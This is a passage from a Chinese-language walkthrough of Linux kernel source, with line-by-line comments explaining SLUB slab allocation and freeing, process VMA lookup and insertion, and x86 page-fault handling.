// 分析了以下这里kasan_slab_alloc直接返回原值, kmemleak_alloc_recursive为空, 如果slab开始分配时memcg_kmem_enabled有意义, 这里再做一下后续的扫尾工作(因为是hook函数所以初始功能极少)
slab_post_alloc_hook(s, gfpflags, 1, &object);
return object;
}
### __slab_alloc
* **slab _alloc - > _**slab_alloc
static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node,
unsigned long addr, struct kmem_cache_cpu *c)
{
void *freelist;
struct page *page;
// 如果c->page为空, 代表cpu_slab中没有可用slab, 进入new_slab向cpu_slab中填充可用slab
page = c->page;
if (!page) {
// 如果node不在线或者node没有正常内存, 则忽略node约束
if (unlikely(node != NUMA_NO_NODE &&
!node_state(node, N_NORMAL_MEMORY)))
node = NUMA_NO_NODE;
goto new_slab;
}
redo:
// 判断page->node与node是否相同
if (unlikely(!node_match(page, node))) {
// node_state: return 0
if (!node_state(node, N_NORMAL_MEMORY)) {
node = NUMA_NO_NODE;
goto redo;
} else {
// 记录状态node_miss_match
stat(s, ALLOC_NODE_MISMATCH);
// 将cpu_slab中的page放入node中
deactivate_slab(s, page, c->freelist, c);
goto new_slab;
}
}
// PF_MEMALLOC: 忽略内存管理的水印进行分配, 分配失败则不再尝试, 如果当前page是pfmemalloc属性, 则调用deactivate_slab
if (unlikely(!pfmemalloc_match(page, gfpflags))) {
deactivate_slab(s, page, c->freelist, c);
goto new_slab;
}
// 检查freelist, 防止cpu迁移或中断导致freelist非空
freelist = c->freelist;
if (freelist)
goto load_freelist;
// 从c->page中获得freelist
freelist = get_freelist(s, page);
if (!freelist) {
c->page = NULL;
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}
stat(s, ALLOC_REFILL);
load_freelist:
// c->page对应被分配的obj所在的page, 应该被cpu冻结
VM_BUG_ON(!c->page->frozen);
// 更新cpu_slab的freelist, tid
c->freelist = get_freepointer(s, freelist);
c->tid = next_tid(c->tid);
return freelist;
new_slab:
// 判断cpu_slab是否存在partial_slab(部分空间被使用的page)
if (slub_percpu_partial(c)) {
// 将partial_slab作为c->page(用来分配obj)
page = c->page = slub_percpu_partial(c);
// #define slub_set_percpu_partial(c, p) (slub_percpu_partial(c) = (p)->next;})
// 更新partial链表头为page->next
slub_set_percpu_partial(c, page);
stat(s, CPU_PARTIAL_ALLOC);
goto redo;
}
// new_slab_objects: 1. get_partial(从node->partial获取page) 2. new_slab(伙伴算法获取page)
// 从上述page中获得freelist
freelist = new_slab_objects(s, gfpflags, node, &c);
if (unlikely(!freelist)) {
// 内存分配失败
// 配置CONFIG_SLUB_DEBUG后会打印报错信息
slab_out_of_memory(s, gfpflags, node);
return NULL;
}
page = c->page;
if (likely(!kmem_cache_debug(s) && pfmemalloc_match(page, gfpflags)))
goto load_freelist;
// kmem_cache_debug判断kmem_cache标志位是否包含SLAB_DEBUG_FLAGS
// alloc_debug_processing: return 0
if (kmem_cache_debug(s) &&
!alloc_debug_processing(s, page, freelist, addr))
goto new_slab;
deactivate_slab(s, page, get_freepointer(s, freelist), c);
return freelist;
}
#### get_freelist
static inline void *get_freelist(struct kmem_cache *s, struct page *page)
{
struct page new;
unsigned long counters;
void *freelist;
do {
freelist = page->freelist;
counters = page->counters;
// 获得下一个freelist
new.counters = counters;
VM_BUG_ON(!new.frozen);
new.inuse = page->objects;
// The page is still frozen if the return value is not NULL.
new.frozen = freelist != NULL;
// page->freelist=NULL, page->counters=new.counters
// 将page->freelist从page中摘除, 后续会放进cpu_slab->freelist中
} while (!__cmpxchg_double_slab(s, page,
freelist, counters,
NULL, new.counters,
"get_freelist"));
return freelist;
}
## kmem_cache_free源码分析
1. kmem_cache_free -> cache_from_obj(定位目标kmem_cache)
2. kmem_cache_free -> slab_free
static __always_inline void slab_free(struct kmem_cache *s, struct page *page,
void *head, void *tail, int cnt,
unsigned long addr)
{
if (slab_free_freelist_hook(s, &head, &tail))
do_slab_free(s, page, head, tail, cnt, addr);
}
* slab_free -> slab_free_freelist_hook
* slab_free -> do_slab_free
### cache_from_obj
static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x)
{
struct kmem_cache *cachep;
// 如果memcg没有开启且没有配置CONFIG_SLAB_FREELIST_HARDENED,kem_cache没有配置SLAB_CONSISTENCY_CHECKS, 则直接返回用户选择的kmem_cache
if (!memcg_kmem_enabled() &&
!IS_ENABLED(CONFIG_SLAB_FREELIST_HARDENED) &&
!unlikely(s->flags & SLAB_CONSISTENCY_CHECKS))
return s;
// virt_to_cache -> virt_to_head_page -> virt_to_page获得page
// 返回page->slab_cache作为kmem_cache(因为用户选择的kmem_cache不可信)
cachep = virt_to_cache(x);
WARN_ONCE(cachep && !slab_equal_or_root(cachep, s),
"%s: Wrong slab cache. %s but object is from %s\n",
__func__, s->name, cachep->name);
return cachep;
}
### slab_free_freelist_hook
static inline bool slab_free_freelist_hook(struct kmem_cache *s,
void **head, void **tail)
{
void *object;
void *next = *head;
void *old_tail = *tail ? *tail : *head;
int rsize;
*head = NULL;
*tail = NULL;
do {
// 依次遍历freelist
object = next;
next = get_freepointer(s, object);
if (slab_want_init_on_free(s)) {
// 将object清空(red_zone区域除外)
memset(object, 0, s->object_size);
rsize = (s->flags & SLAB_RED_ZONE) ? s->red_left_pad
: 0;
memset((char *)object + s->inuse, 0,
s->size - s->inuse - rsize);
}
// slab_free_hook内部功能函数实现为空 return false
if (!slab_free_hook(s, object)) {
// *object->offset=*head
set_freepointer(s, object, *head);
*head = object;
if (!*tail)
*tail = object;
}
} while (object != old_tail);
if (*head == *tail)
*tail = NULL;
return *head != NULL;
}
### do_slab_free
static __always_inline void do_slab_free(struct kmem_cache *s,
struct page *page, void *head, void *tail,
int cnt, unsigned long addr)
{
void *tail_obj = tail ? : head;
struct kmem_cache_cpu *c;
unsigned long tid;
redo:
// 使用tid保持cpu同步
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab);
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));
// 和slab_alloc_node()中的barrier作用相同
barrier();
// 如果待释放obj所属的page并不是cpu_slab对应的page则进入__slab_free慢释放
if (likely(page == c->page)) {
void **freelist = READ_ONCE(c->freelist);
// tail_obj是待插入的obj, set_freepointer: *(tail_obj->offset)=freelist(原freelist)
set_freepointer(s, tail_obj, freelist);
// 验证cpu没有被抢占后, 使得s->cpu_slab->freelist=head(tail_obj), tid=next_tid(tid), tail_obj成功插入
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
freelist, tid,
head, next_tid(tid)))) {
note_cmpxchg_failure("slab_free", s, tid);
goto redo;
}
stat(s, FREE_FASTPATH);
} else
__slab_free(s, page, head, tail_obj, cnt, addr);
}
#### __slab_free
static void __slab_free(struct kmem_cache *s, struct page *page,
void *head, void *tail, int cnt,
unsigned long addr)
{
void *prior;
int was_frozen;
struct page new;
unsigned long counters;
struct kmem_cache_node *n = NULL;
// uninitialized_var消除没有初始化的警告
unsigned long uninitialized_var(flags);
stat(s, FREE_SLOWPATH);
if (kmem_cache_debug(s) &&
!free_debug_processing(s, page, head, tail, cnt, addr))
return;
do {
// n置空, 释放free_debug_processing()设置的自旋锁
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = page->freelist;
counters = page->counters;
// tail是待插入的obj, set_freepointer: *(tail_obj->offset)=freelist(原freelist)
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
// inuse_obj = inuse_obj - cnt, 当前page释放了cnt(1)个obj
new.inuse -= cnt;
// 如果该page(不存在正被使用的obj或者无可被使用的obj)且没有被冻结(不属于cpu_slab), 说明正在被释放的obj是该page的最后一个被使用的obj, 该page可被放入buddy
if ((!new.inuse || !prior) && !was_frozen) {
// 如果kmem_cache存在cpu_slab->partial且该page无可用obj则冻结page, 后续会被放入cpu_slab->partial
if (kmem_cache_has_cpu_partial(s) && !prior) {
new.frozen = 1;
} else {
// 获得node, 加锁node资源区
n = get_node(s, page_to_nid(page));
spin_lock_irqsave(&n->list_lock, flags);
}
}
// 释放head(正在被释放的obj)进入page(page->freelist=head, page->counters=new.counters)
} while (!cmpxchg_double_slab(s, page,
prior, counters,
head, new.counters,
"__slab_free"));
if (likely(!n)) {
// 如果page没有被冻结, 则将page挂载进入cpu_slab->partial
if (new.frozen && !was_frozen) {
put_cpu_partial(s, page, 1);
stat(s, CPU_PARTIAL_FREE);
}
// page被冻结后只更新"FREE_FROZEN"信息
if (was_frozen)
stat(s, FREE_FROZEN);
return;
}
// 如果page无obj被使用, 且kmem_cache的半满page超过临界点(n->nr_partial >= s->min_partial), 则进行page释放
if (unlikely(!new.inuse && n->nr_partial >= s->min_partial))
goto slab_empty;
// 释放obj后slab从full变为partial
if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) {
// 将slab从full链表删除, 插入n->partial链表尾部
remove_full(s, n, page);
add_partial(n, page, DEACTIVATE_TO_TAIL);
stat(s, FREE_ADD_PARTIAL);
}
// 解锁node资源区
spin_unlock_irqrestore(&n->list_lock, flags);
return;
slab_empty:
if (prior) {
// 如果该page存在可用obj, 则该page会在partial链表, 所以在partial链表中将page删除
remove_partial(n, page);
stat(s, FREE_REMOVE_PARTIAL);
} else {
// 将page从full链表中删除
remove_full(s, n, page);
}
spin_unlock_irqrestore(&n->list_lock, flags);
stat(s, FREE_SLAB);
discard_slab(s, page);
}
##### discard_slab
1. discard_slab->dec_slabs_node(更新node信息)
2. discard_slab->free_slab->__free_slab
static void __free_slab(struct kmem_cache *s, struct page *page)
{
// 获得page_order
int order = compound_order(page);
int pages = 1 << order;
if (s->flags & SLAB_CONSISTENCY_CHECKS) {
void *p;
// 对page做安全检查
slab_pad_check(s, page);
// 对page中的每个obj进行安全检测
for_each_object(p, s, page_address(page),
page->objects)
check_object(s, page, p, SLUB_RED_INACTIVE);
}
// 清除page标志位
__ClearPageSlabPfmemalloc(page);
__ClearPageSlab(page);
// page不再被引用
page->mapping = NULL;
// 更新内存回收状态
if (current->reclaim_state)
current->reclaim_state->reclaimed_slab += pages;
// 更新系统状态
uncharge_slab_page(page, order, s);
// 伙伴算法释放内存
__free_pages(page, order);
}
###### slab_pad_check
// 当slab_debug开启后, kmem_cache建立时, 内存空间全部被覆写成0x5a, 一个slab被切割成obj时有可能不能被完全利用, 可能会剩余一些空间(padding), 又因为padding区域在内存分配期间不会被修改, 所以应该一直是0x5a, 本函数通过对0x5a进行检测, 试图发现溢出覆写错误
static int slab_pad_check(struct kmem_cache *s, struct page *page)
{
u8 *start;
u8 *fault;
u8 *end;
u8 *pad;
int length;
int remainder;
// 如果kmem_cache没有配置SLAB_POISON则直接返回
if (!(s->flags & SLAB_POISON))
return 1;
start = page_address(page);
length = page_size(page);
end = start + length;
// 获得切割obj后slab的剩余空间
remainder = length % s->size;
if (!remainder)
return 1;
pad = end - remainder;
metadata_access_enable();
// 访问元数据查看POISON_INUSE magic是否被修改, 定位错误的起始位置
fault = memchr_inv(pad, POISON_INUSE, remainder);
metadata_access_disable();
if (!fault)
return 1;
// 定位数据覆盖的结尾
while (end > fault && end[-1] == POISON_INUSE)
end--;
// 抛出错误, 打印错误覆盖区间
slab_err(s, page, "Padding overwritten. 0x%p-0x%p", fault, end - 1);
print_section(KERN_ERR, "Padding ", pad, remainder);
restore_bytes(s, "slab padding", POISON_INUSE, fault, end);
return 0;
}
###### check_object
// 讲解slub算法的开头, 列出了有关slab_debug所用到的magic_num以及obj内存布局, 本函数对magic_num和freelist进行安全检测
static int check_object(struct kmem_cache *s, struct page *page,
void *object, u8 val)
{
u8 *p = object;
u8 *endobject = object + s->object_size;
// 如果kmem_cache区域配置了SLAB_RED_ZONE, 则对相应的magic_num进行检测
if (s->flags & SLAB_RED_ZONE) {
// 检测red_left_pad
if (!check_bytes_and_report(s, page, object, "Redzone",
object - s->red_left_pad, val, s->red_left_pad))
return 0;
// 检测Redzone
if (!check_bytes_and_report(s, page, object, "Redzone",
endobject, val, s->inuse - s->object_size))
return 0;
} else {
if ((s->flags & SLAB_POISON) && s->object_size < s->inuse) {
// 检测padding区域
check_bytes_and_report(s, page, p, "Alignment padding",
endobject, POISON_INUSE,
s->inuse - s->object_size);
}
}
if (s->flags & SLAB_POISON) {
if (val != SLUB_RED_ACTIVE && (s->flags & __OBJECT_POISON) &&
// 检测obj是否早已被free检测obj[-1]是否为POISON_END(0xa5)
(!check_bytes_and_report(s, page, p, "Poison", p,
POISON_FREE, s->object_size - 1) ||
!check_bytes_and_report(s, page, p, "Poison",
p + s->object_size - 1, POISON_END, 1)))
return 0;
check_pad_bytes(s, page, p);
}
if (!freeptr_outside_object(s) && val == SLUB_RED_ACTIVE)
/*
* Object and freepointer overlap. Cannot check
* freepointer while object is allocated.
*/
return 1;
// 检查freelist是否有效
if (!check_valid_pointer(s, page, get_freepointer(s, p))) {
object_err(s, page, p, "Freepointer corrupt");
// 如果无效则丢弃该freelist链后续object
set_freepointer(s, p, NULL);
return 0;
}
return 1;
}
## 进程vma
* 进程由许多的segment组成, 例如text segment,data segment, bss segment等, segment中被填充各种功能的数据, 每个segment具有不同的权限(r, w, x)
* 对于进程来说segment由什么结构来标识? 这就是接下来要将的进程vma
### vm_area_struct 结构体
* 在进程中每个segment都被描述为vm_area_struct
* task_struct -> mm_struct -> vm_area_struct
struct vm_area_struct {
// 第一个cache line
unsigned long vm_start;
unsigned long vm_end; // vm_area_struct所对应的vma在进程地址空间中的起始和结束地址
struct vm_area_struct *vm_next, *vm_prev; // 按照vma在进程地址空间中的顺序, 将vma链入双链表,
struct rb_node vm_rb; // 红黑树结点
unsigned long rb_subtree_gap; // 记录该vma与上一个vma(可以选择双链表中或者红黑树中)之间的空闲空间大小,
// 第二个cache line
struct mm_struct *vm_mm; // 指向该vma对应的进程的mm_struct结构体
pgprot_t vm_page_prot; // 该vma访问权限
unsigned long vm_flags; // 描述该vma标志位
const struct vm_operations_struct *vm_ops; // 指向function集合, 虚表
unsigned long vm_pgoff; // 以page为单位的文件映射偏移量
struct file * vm_file; // 指向被映射的文件
...
}
### find_vma(vma查找)
struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
{
struct rb_node *rb_node;
struct vm_area_struct *vma;
// 在cache中寻找vma
vma = vmacache_find(mm, addr);
if (likely(vma))
return vma;
// 定位红黑树根节点
rb_node = mm->mm_rb.rb_node;
// 在红黑树中查找vma
while (rb_node) {
struct vm_area_struct *tmp;
// 获得当前结点的vm_area_struct
tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb);
if (tmp->vm_end > addr) {
vma = tmp;
if (tmp->vm_start <= addr)
break;
rb_node = rb_node->rb_left;
} else
rb_node = rb_node->rb_right;
}
// 如果查找到的vma有效, 则更新cache
if (vma)
vmacache_update(addr, vma);
return vma;
}
#### vmacache_find
struct vm_area_struct *vmacache_find(struct mm_struct *mm, unsigned long addr)
{
// 通过左移addr, 定位addr对应的index(这个位置可能会存在对应的vma)
int idx = VMACACHE_HASH(addr);
int i;
// 记录事件
count_vm_vmacache_event(VMACACHE_FIND_CALLS);
// 检测mm是否是当前进程的mm_struct, 如果是第一次触发cache, 将进行初始化
if (!vmacache_valid(mm))
return NULL;
// 遍历current->vmacache.vmas[](从idx开始, 因为inx对应的位置cache hit可能性最大)
for (i = 0; i < VMACACHE_SIZE; i++) {
struct vm_area_struct *vma = current->vmacache.vmas[idx];
if (vma) {
#ifdef CONFIG_DEBUG_VM_VMACACHE
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
#endif
// 判断vma是否匹配
if (vma->vm_start <= addr && vma->vm_end > addr) {
count_vm_vmacache_event(VMACACHE_FIND_HITS);
return vma;
}
}
// inx遍历到VMACACHE_SIZE后, 归0继续遍历(idx是从中间开始遍历的)
if (++idx == VMACACHE_SIZE)
idx = 0;
}
return NULL;
}
### insert_vm_struct(vma插入)
int insert_vm_struct(struct mm_struct *mm, struct vm_area_struct *vma)
{
struct vm_area_struct *prev;
struct rb_node **rb_link, *rb_parent;
// 定位插入vma的目标位置
// prev = rb_parent对应的vm_area_struct
// rb_link = 待插入的位置
// rb_parent = rb_link的父结点
if (find_vma_links(mm, vma->vm_start, vma->vm_end,
&prev, &rb_link, &rb_parent))
return -ENOMEM;
if ((vma->vm_flags & VM_ACCOUNT) &&
security_vm_enough_memory_mm(mm, vma_pages(vma)))
return -ENOMEM;
// 匿名vma要设置页偏移
if (vma_is_anonymous(vma)) {
BUG_ON(vma->anon_vma);
vma->vm_pgoff = vma->vm_start >> PAGE_SHIFT;
}
// 将vma插入vma管理体系
// vma_link -> __vma_link -> __vma_link_list, 将vma插入双链表
// vma_link -> __vma_link -> __vma_link_rb, 将vma插入红黑树
vma_link(mm, vma, prev, rb_link, rb_parent);
return 0;
}
#### find_vma_links
static int find_vma_links(struct mm_struct *mm, unsigned long addr,
unsigned long end, struct vm_area_struct **pprev,
struct rb_node ***rb_link, struct rb_node **rb_parent)
{
struct rb_node **__rb_link, *__rb_parent, *rb_prev;
__rb_link = &mm->mm_rb.rb_node;
rb_prev = __rb_parent = NULL;
while (*__rb_link) {
struct vm_area_struct *vma_tmp;
__rb_parent = *__rb_link;
vma_tmp = rb_entry(__rb_parent, struct vm_area_struct, vm_rb);
if (vma_tmp->vm_end > addr) {
// 如果vma_tmp_end_addr大于vma_end_addr且vma_start_end_addr小于vma_start_addr, 说明vma_tmp和vma重合, 函数报错
if (vma_tmp->vm_start < end)
return -ENOMEM;
// 继续遍历左节点
__rb_link = &__rb_parent->rb_left;
} else {
rb_prev = __rb_parent;
// 继续遍历右节点
__rb_link = &__rb_parent->rb_right;
}
}
// 当__rb_link为空, 即对应结点为空时, 退出遍历红黑树循环
// __rb_link对应空结点, 即目标插入位置
// __rb_parent对应__rb_link的父结点
// pprev对应rb_prev指向的vm_arena_struct
*pprev = NULL;
if (rb_prev)
*pprev = rb_entry(rb_prev, struct vm_area_struct, vm_rb);
*rb_link = __rb_link;
*rb_parent = __rb_parent;
return 0;
}
#### 红黑树规则
* 红黑树规则:
* 节点是红色或黑色
* 根节点是黑色
* 每个叶节点都是黑色的空节点
* 每个红色节点的两个子节点都是黑色(从每个叶子到根的所有路径上不能有两个连续的红色节点)
* 从任一节点到其每个叶子的所有路径都包含相同数目的黑色节点
* 插入节点时通过变色或者旋转维持红黑树规则
## 缺页中断
/*
* Page fault error code bits:
*
* bit 0 == 0: no page found 1: protection fault
* bit 1 == 0: read access 1: write access
* bit 2 == 0: kernel-mode access 1: user-mode access
* bit 3 == 1: use of reserved bit detected
* bit 4 == 1: fault was an instruction fetch
* bit 5 == 1: protection keys block access
*/
enum x86_pf_error_code {
X86_PF_PROT = 1 << 0,
X86_PF_WRITE = 1 << 1,
X86_PF_USER = 1 << 2,
X86_PF_RSVD = 1 << 3,
X86_PF_INSTR = 1 << 4,
X86_PF_PK = 1 << 5,
};
### __do_page_fault源码分析
static noinline void
__do_page_fault(struct pt_regs *regs, unsigned long hw_error_code,
unsigned long address)
{
// 将变量放入cache, 加快速度
prefetchw(¤t->mm->mmap_sem);
// mmiotrace跟踪器, 用于跟踪基于内存映射的io设备
if (unlikely(kmmio_fault(regs, address)))
return;
// 判断缺页中断发生在内核态还是用户态
if (unlikely(fault_in_kernel_space(address)))
do_kern_addr_fault(regs, hw_error_code, address);
else
do_user_addr_fault(regs, hw_error_code, address);
}
### fault_in_kernel_space
* vsyscall和vdso的作用与区别
* 作用: 一般来说, 用户态与内核态通过系统调用进行交互, 但是这种交互非常浪费时间, 那么对于需要实时性的api如gettimeofday等就不太适用, 使用vsyscall或vdso可以加速
* 区别:
* vsyscall是一种比较古老的机制, 他在固定地址映射内核内存页实现快速执行内核功能, 但安全性不高, 被vdso逐渐替代, 但是vdso只存在与动态链接, 静态链接程序没有vdso, 所以为了兼容性, vsyscall被保留下来
* vdso可以应用aslr实现地址随机化, 而且无需考虑cpu差异性
static int fault_in_kernel_space(unsigned long address)
{
// x86_64架构下vsyscall在TASK_SIZE_MAX之上, 但并非内核空间, 所以单独列出
// #define VSYSCALL_ADDR (-10UL << 20), VSYSCALL_ADDR即为vsyscall固定地址(在x86_64架构下(-10)用8字节存储, VSYSCALL_ADDR=0xffffffffff600000)
if (IS_ENABLED(CONFIG_X86_64) && is_vsyscall_vaddr(address))
return false;
// 将大于TASK_SIZE_MAX的地址视为内核空间
return address >= TASK_SIZE_MAX;
}
### do_kern_addr_fault
static void
do_kern_addr_fault(struct pt_regs *regs, unsigned long hw_error_code,
unsigned long address)
{
// X86_PF_PK存在于用户页, 并非内核页
WARN_ON_ONCE(hw_error_code & X86_PF_PK);
// 检测错误是否由于vmalloc fault导致
if (!(hw_error_code & (X86_PF_RSVD | X86_PF_USER | X86_PF_PROT))) {
if (vmalloc_fault(address) >= 0)
return;
}
// 检测错误是否是由于TLB表项陈旧(内核页权限变更后, TLB没有更新)
// 如果TLB表项陈旧导致错误, 那么只有两种可能. 1. 数据写入时TLB(), 2. 指令执行时TLB(NX)
if (spurious_kernel_fault(hw_error_code, address))
return;
// 判断kprobe是否hook了缺页错误
if (kprobe_page_fault(regs, X86_TRAP_PF))
return;
// 非法地址访问导致页错误
bad_area_nosemaphore(regs, hw_error_code, address);
}
#### vmalloc_fault
static noinline int vmalloc_fault(unsigned long address)
{
pgd_t *pgd, *pgd_k;
p4d_t *p4d, *p4d_k;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
// #define high_memory (-128UL << 20)
// #define VMALLOC_START (((unsigned long)high_memory + VMALLOC_OFFSET) & ~(VMALLOC_OFFSET-1))
// VMALLOC空间和前面保留8M的hole保证安全性
// 经计算VMALLOC_START=0xfffffffff8000000+8M
if (!(address >= VMALLOC_START && address < VMALLOC_END))
return -1;
// 使用vmalloc分配内存后, 内存映射会被直接写入全局内核页表init_mm
// 进程的内核页表是在进程被创建时, 直接复制内核页表获得, 不具备实时性, 所以只有当发生vmalloc缺页中断时, 才会把对应的全局内核页表项复制到进程内核页表
// 获得进程内核页表
pgd = (pgd_t *)__va(read_cr3_pa()) + pgd_index(address);
// 获得全局内核页表
pgd_k = pgd_offset_k(address);
// 将与addr关联的全局内核页表项复制到进程内核页表
if (pgd_none(*pgd_k))
return -1;
if (pgtable_l5_enabled()) {
if (pgd_none(*pgd)) {
set_pgd(pgd, *pgd_k);
arch_flush_lazy_mmu_mode();
} else {
BUG_ON(pgd_page_vaddr(*pgd) != pgd_page_vaddr(*pgd_k));
}
}
// 获得进程内核页表和全局内核页表对应的p4d, 令p4d_proc=p4d_kern实现页表项复制
p4d = p4d_offset(pgd, address);
p4d_k = p4d_offset(pgd_k, address);
if (p4d_none(*p4d_k))
return -1;
if (p4d_none(*p4d) && !pgtable_l5_enabled()) {
set_p4d(p4d, *p4d_k);
arch_flush_lazy_mmu_mode();
} else {
BUG_ON(p4d_pfn(*p4d) != p4d_pfn(*p4d_k));
}
BUILD_BUG_ON(CONFIG_PGTABLE_LEVELS < 4);
// 对pud, pmd, pte做安全检测
pud = pud_offset(p4d, address);
if (pud_none(*pud))
return -1;
if (pud_large(*pud))
return 0;
pmd = pmd_offset(pud, address);
if (pmd_none(*pmd))
return -1;
if (pmd_large(*pmd))
return 0;
pte = pte_offset_kernel(pmd, address);
// 如果pte对应的page并非正在被使用则缺页
if (!pte_present(*pte))
return -1;
return 0;
}
#### spurious_kernel_fault
static noinline int
spurious_kernel_fault(unsigned long error_code, unsigned long address)
{
pgd_t *pgd;
p4d_t *p4d;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
int ret;
// 由于TLB表项陈旧导致的虚假错误, 给出的错误原因只有两种:写入(X86_PF_WRITE), 指令执行(X86_PF_INSTR)
if (error_code != (X86_PF_WRITE | X86_PF_PROT) &&
error_code != (X86_PF_INSTR | X86_PF_PROT))
return 0;
// 定位内核页表
pgd = init_mm.pgd + pgd_index(address);
// 判断pgd是否在内存中
if (!pgd_present(*pgd))
return 0;
// 通过偏移获得p4d表项
p4d = p4d_offset(pgd, address);
if (!p4d_present(*p4d))
return 0;
// 如果在p4d表项处开启huge page机制, 则直接进入spurious_kernel_fault_check
/* spurious_kernel_fault_check:
if ((error_code & X86_PF_WRITE) && !pte_write(*pte))
return 0;
if ((error_code & X86_PF_INSTR) && !pte_exec(*pte))
return 0;
return 1;
*/
// 检测是否是因为tlb项老旧导致错误
if (p4d_large(*p4d))
return spurious_kernel_fault_check(error_code, (pte_t *) p4d);
// 以下处理流程相同, 不再描述
pud = pud_offset(p4d, address);
if (!pud_present(*pud))
return 0;
if (pud_large(*pud))
return spurious_kernel_fault_check(error_code, (pte_t *) pud);
pmd = pmd_offset(pud, address);
if (!pmd_present(*pmd))
return 0;
if (pmd_large(*pmd))
return spurious_kernel_fault_check(error_code, (pte_t *) pmd);
pte = pte_offset_kernel(pmd, address);
if (!pte_present(*pte))
return 0;
ret = spurious_kernel_fault_check(error_code, pte);
if (!ret)
return 0;
ret = spurious_kernel_fault_check(error_code, (pte_t *) pmd);
// 如果在pte阶段还是没有检测到虚假错误则报一个bug
WARN_ONCE(!ret, "PMD has incorrect permission bits\n");
return ret;
}
#### bad_area_nosemaphore
* bad_area_nosemaphore -> __bad_area_nosemaphore
static void
__bad_area_nosemaphore(struct pt_regs *regs, unsigned long error_code,
unsigned long address, u32 pkey, int si_code)
{
struct task_struct *tsk = current;
// 如果请求来自用户态, 说明想要越界访问内核空间
if (user_mode(regs) && (error_code & X86_PF_USER)) {
local_irq_enable();
/*
* Valid to do another page fault here because this one came
* from user space:
*/
// 不忽略nx页上的取指错误
if (is_prefetch(regs, error_code, address))
return;
if (is_errata100(regs, address))
return;
// 为了防止内核页表布局被泄露, 这里把用户态访问内核空间错误伪造成protection faults
if (address >= TASK_SIZE_MAX)
error_code |= X86_PF_PROT;
if (likely(show_unhandled_signals))
// 打印错误信息
show_signal_msg(regs, error_code, address, tsk);
set_signal_archinfo(address, error_code);
if (si_code == SEGV_PKUERR)
force_sig_pkuerr((void __user *)address, pkey);
// 发送SIGSEGV信号
force_sig_fault(SIGSEGV, si_code, (void __user *)address);
return;
}
if (is_f00f_bug(regs, address))
return;
// 在内核中发生内核缺页
no_context(regs, error_code, address, SIGSEGV, si_code);
}
##### no_context
static noinline void
no_context(struct pt_regs *regs, unsigned long error_code,
unsigned long address, int signal, int si_code)
{
struct task_struct *tsk = current;
unsigned long flags;
int sig;
if (user_mode(regs)) {
// 用户模式访问内核态, 直接oops
goto oops;
}
// 搜索异常表, 试图找到一个对应该异常的例程来进行修正
if (fixup_exception(regs, X86_TRAP_PF, error_code, address)) {
// 任何中断错误都会在fixup_exception中获得处理, 下面的错误处理流程只用于任务上下文中的错误
if (in_interrupt())
return;
if (current->thread.sig_on_uaccess_err && signal) {
set_signal_archinfo(address, error_code);
force_sig_fault(signal, si_code, (void __user *)address);
}
return;
}
/*
* 32-bit:
*
* Valid to do another page fault here, because if this fault
* had been triggered by is_prefetch fixup_exception would have
* handled it.
*
* 64-bit:
*
* Hall of CPU/BIOS bugs.
*/
if (is_prefetch(regs, error_code, address))
return;
if (is_errata93(regs, address))
return;
// 固件访问错误恢复
if (IS_ENABLED(CONFIG_EFI))
efi_recover_from_page_fault(address);
oops:
// 确定时内核缺陷, 使用oops打印错误...
flags = oops_begin();
show_fault_oops(regs, error_code, address);
if (task_stack_end_corrupted(tsk))
printk(KERN_EMERG "Thread overran stack, or stack corrupted\n");
sig = SIGKILL;
if (__die("Oops", regs, error_code))
sig = 0;
/* Executive summary in case the body of the oops scrolled away */
printk(KERN_DEFAULT "CR2: %016lx\n", address);
oops_end(flags, regs, sig);
}
### do_user_addr_fault
static inline
void do_user_addr_fault(struct pt_regs *regs,
unsigned long hw_error_code,
unsigned long address)
{
struct vm_area_struct *vma;
struct task_struct *tsk;
struct mm_struct *mm;
vm_fault_t fault, major = 0;
unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
tsk = current;
mm = tsk->mm;
// 判断kprobe是否hook了缺页错误
if (unlikely(kprobe_page_fault(regs, X86_TRAP_PF)))
return;
// Reserved bits不会被设置在用户的页表项, 如果存在Reserved bits则发生页表错误
if (unlikely(hw_error_code & X86_PF_RSVD))
pgtable_bad(regs, hw_error_code, address);
// 如果开启smap且kernel(supervisor)访问用户态地址(X86_PF_USER=0)则进入bad_area_nosemaphore
if (unlikely(cpu_feature_enabled(X86_FEATURE_SMAP) &&
!(hw_error_code & X86_PF_USER) &&
!(regs->flags & X86_EFLAGS_AC)))
{
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
/*
* If we're in an interrupt, have no user context or are running
* in a region with pagefaults disabled then we must not take the fault
*/
if (unlikely(faulthandler_disabled() || !mm)) {
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
// 因为到达这一步时cr2中的虚拟地址已经被另存且vmalloc_fault被处理所以开启中断是安全可行的
if (user_mode(regs)) {
local_irq_enable();
flags |= FAULT_FLAG_USER;
} else {
if (regs->flags & X86_EFLAGS_IF)
local_irq_enable();
}
// 记录事件
perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);
// 更新flags标志位(后面引用)
if (hw_error_code & X86_PF_WRITE)
flags |= FAULT_FLAG_WRITE;
if (hw_error_code & X86_PF_INSTR)
flags |= FAULT_FLAG_INSTRUCTION;
#ifdef CONFIG_X86_64
// vsyscall没有vma, 所以在find_vma之前对vsyscall做模拟
if (is_vsyscall_vaddr(address)) {
if (emulate_vsyscall(hw_error_code, regs, address))
return;
}
#endif
// 1. 内核只能访问用户地址空间的在exception_tables上定义的指令, 如果直接进行这样的尝试(但指令却在exception_tables之外)则会因为持有了mmap_sem锁, 而让系统死锁
